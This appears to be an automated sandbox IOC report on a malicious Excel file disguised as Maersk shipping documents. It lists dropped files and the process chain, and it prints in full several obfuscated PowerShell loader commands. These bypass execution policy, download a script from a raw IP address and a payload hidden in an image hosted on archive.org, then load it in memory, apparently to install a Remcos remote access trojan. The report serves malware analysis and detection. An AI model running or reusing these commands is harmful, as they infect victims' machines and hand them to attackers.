IOC Report
Maersk BL, IN & PL.xls

Maersk BL, IN & PL.xls

Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Oct 8 09:27:46 2024, Security: 1

initial sample

C:\ProgramData\remcos\logs.dat

data

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\verynicepersonupdation[1].hta

HTML document, ASCII text, with very long lines (65520), with CRLF line terminators

modified

C:\Users\user\AppData\Local\Temp\nnmswnbn\nnmswnbn.cmdline

Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators

dropped

C:\Users\user\AppData\Roaming\nicefeaturesworkinggreat.vbS

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\Desktop\Maersk BL, IN & PL.xls (copy)

Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Oct 8 14:37:28 2024, Security: 1

dropped

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

C:\Windows\System32\cmd.exe

"C:\Windows\system32\cmd.exe" "/C POwerSHELl -EX bYPAsS -Nop -w 1 -C DEvIceCReDEntIaldePlOyMeNT.Exe ; ieX($(IeX('[SYSTEm.texT.ENCODING]'+[CHaR]0x3A+[cHAR]0x3A+'uTf8.gETstrInG([systEm.CoNVErT]'+[ChAr]0X3a+[Char]58+'FRomBaSe64stRINg('+[CHaR]0x22+'JGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtYkVyREVGaU5pdGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFN5YVRSeixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsc3hnWUwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1osdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdlUUNNeVlxLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHYpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ5VE1FIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYWZ5RlprcVNaICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMzguMjQwLjQ0LjkvNTkwL25pY2VmZWF0dXJlc3dvcmtpbmdncmVhdC5UaWYiLCIkZU52OkFQUERBVEFcbmljZWZlYXR1cmVzd29ya2luZ2dyZWF0LnZiUyIsMCwwKTtzVEFyVC1TTGVFcCgzKTtTdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcbmljZWZlYXR1cmVzd29ya2luZ2dyZWF0LnZiUyI='+[Char]0x22+'))')))"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

POwerSHELl -EX bYPAsS -Nop -w 1 -C DEvIceCReDEntIaldePlOyMeNT.Exe ; ieX($(IeX('[SYSTEm.texT.ENCODING]'+[CHaR]0x3A+[cHAR]0x3A+'uTf8.gETstrInG([systEm.CoNVErT]'+[ChAr]0X3a+[Char]58+'FRomBaSe64stRINg('+[CHaR]0x22+'JGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtYkVyREVGaU5pdGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFN5YVRSeixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsc3hnWUwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1osdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdlUUNNeVlxLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHYpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ5VE1FIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYWZ5RlprcVNaICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMzguMjQwLjQ0LjkvNTkwL25pY2VmZWF0dXJlc3dvcmtpbmdncmVhdC5UaWYiLCIkZU52OkFQUERBVEFcbmljZWZlYXR1cmVzd29ya2luZ2dyZWF0LnZiUyIsMCwwKTtzVEFyVC1TTGVFcCgzKTtTdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcbmljZWZlYXR1cmVzd29ya2luZ2dyZWF0LnZiUyI='+[Char]0x22+'))')))"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nnmswnbn\nnmswnbn.cmdline"

C:\Windows\System32\wscript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nicefeaturesworkinggreat.vbS"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggKFtzdFJpbkddJFZlckJPU0VwckVGRVJlTkNFKVsxLDNdKydYJy1qT2luJycpICgoKCd7MH1pbWFnZVVybCAnKyc9IHsxfWh0dHBzOi8vaScrJ2E2MDAxMDIudXMuYXJjaGl2ZS5vcmcvMzIvaXRlbXMvZGV0YWgtbm90JysnZS12XzIwMjQxMC9EZXRhaE5vdGVfVi5qcGcgezF9O3swfXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGUnKydtLk5ldC5XZWJDbGllbnQ7ezB9aW1hZ2VCJysneScrJ3RlcyA9IHswfXdlYkNsaWVudC5Eb3dubG9hZERhdGEoezB9aW1hZycrJ2VVcmwpO3swfWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCcrJ3swfWltYWdlQnl0ZXMpO3swfXN0YXJ0RmxhZyA9IHsxfTw8QkFTRTY0X1NUQVJUJysnPj57MX07ezB9ZW5kRmxhZyA9IHsxfTw8QkFTRScrJzY0X0VORD4+ezF9O3swfXN0YXJ0SW5kZXggPSAnKyd7MH1pbWFnZVRleHQuSW5kZXhPZih7MH1zdGFydEZsYWcpO3swfWVuZEluZGV4ID0gezB9aW1hZ2VUZXh0LkluZGV4T2YoezB9ZW5kRicrJ2xhZyk7ezB9c3RhcnRJJysnbmRleCAtZ2UgMCAtYW5kIHswfWVuZEluZGV4IC0nKydndCB7MH1zdGFydEluJysnZGV4O3swfXN0YXJ0SW5kZXggKz0gezB9c3RhJysncnRGbGFnLkxlbmd0aDt7MH1iYXNlNjRMZW5ndGgnKycgPSB7MCcrJ31lbmRJbmRleCAtJysnIHswfXN0YXJ0SW4nKydkZXg7ezB9YmFzZTY0Q29tbWFuZCA9IHswfWltJysnYWdlVGV4dC5TdWJzdHJpbmcoezB9c3RhcnRJbmRleCwgezB9YmFzZTY0TGVuZ3RoKTt7MH1jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaScrJ25nKHswfWJhc2U2NENvbW1hbmQpO3swJysnfWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SJysnZWZsZWN0aW9uLkFzc2VtYicrJ2x5XTo6TG9hZCh7JysnMH1jb21tYW5kQnl0ZXMpO3swfXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoeycrJzF9VkFJezF9KTt7MH12YWknKydNZXRob2QuSW52b2tlKHswfW51bGwsIEAoezF9dHh0LkRSUlNSUi8wOTUvOS40NC4wNDIuODMvLzpwdHRoezF9LCB7MX1kZXNhdGl2YWRvezF9LCB7MX1kZXNhdGl2YWRveycrJzF9LCB7MX1kZXNhdGl2YWRvezF9LCB7MX1SZWdBc217MX0sIHsxfWRlc2F0aXZhZG97MX0sIHsxfWQnKydlc2F0aXZhZG8nKyd7MX0pKTsnKSAgLUYgIFtDSEFyXTM2LFtDSEFyXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( ([stRinG]$VerBOSEprEFEReNCE)[1,3]+'X'-jOin'') ((('{0}imageUrl '+'= {1}https://i'+'a600102.us.archive.org/32/items/detah-not'+'e-v_202410/DetahNote_V.jpg {1};{0}webClient = New-Object Syste'+'m.Net.WebClient;{0}imageB'+'y'+'tes = {0}webClient.DownloadData({0}imag'+'eUrl);{0}imageText = [System.Text.Encoding]::UTF8.GetString('+'{0}imageBytes);{0}startFlag = {1}<<BASE64_START'+'>>{1};{0}endFlag = {1}<<BASE'+'64_END>>{1};{0}startIndex = '+'{0}imageText.IndexOf({0}startFlag);{0}endIndex = {0}imageText.IndexOf({0}endF'+'lag);{0}startI'+'ndex -ge 0 -and {0}endIndex -'+'gt {0}startIn'+'dex;{0}startIndex += {0}sta'+'rtFlag.Length;{0}base64Length'+' = {0'+'}endIndex -'+' {0}startIn'+'dex;{0}base64Command = {0}im'+'ageText.Substring({0}startIndex, {0}base64Length);{0}commandBytes = [System.Convert]::FromBase64Stri'+'ng({0}base64Command);{0'+'}loadedAssembly = [System.R'+'eflection.Assemb'+'ly]::Load({'+'0}commandBytes);{0}vaiMethod = [dnlib.IO.Home].GetMethod({'+'1}VAI{1});{0}vai'+'Method.Invoke({0}null, @({1}txt.DRRSRR/095/9.44.042.83//:ptth{1}, {1}desativado{1}, {1}desativado{'+'1}, {1}desativado{1}, {1}RegAsm{1}, {1}desativado{1}, {1}d'+'esativado'+'{1}));') -F [CHAr]36,[CHAr]39) )"

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

C:\Windows\System32\cmd.exe

"C:\Windows\system32\cmd.exe" "/C POwerSHELl -EX bYPAsS -Nop -w 1 -C DEvIceCReDEntIaldePlOyMeNT.Exe ; ieX($(IeX('[SYSTEm.texT.ENCODING]'+[CHaR]0x3A+[cHAR]0x3A+'uTf8.gETstrInG([systEm.CoNVErT]'+[ChAr]0X3a+[Char]58+'FRomBaSe64stRINg('+[CHaR]0x22+'JGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtYkVyREVGaU5pdGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT24uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFN5YVRSeixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsc3hnWUwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY1osdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdlUUNNeVlxLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHYpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ5VE1FIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEYWZ5RlprcVNaICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMzguMjQwLjQ0LjkvNTkwL25pY2VmZWF0dXJlc3dvcmtpbmdncmVhdC5UaWYiLCIkZU52OkFQUERBVEFcbmljZWZlYXR1cmVzd29ya2luZ2dyZWF0LnZiUyIsMCwwKTtzVEFyVC1TTGVFcCgzKTtTdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcbmljZWZlYXR1cmVzd29ya2luZ2dyZWF0LnZiUyI='+[Char]0x22+'))')))"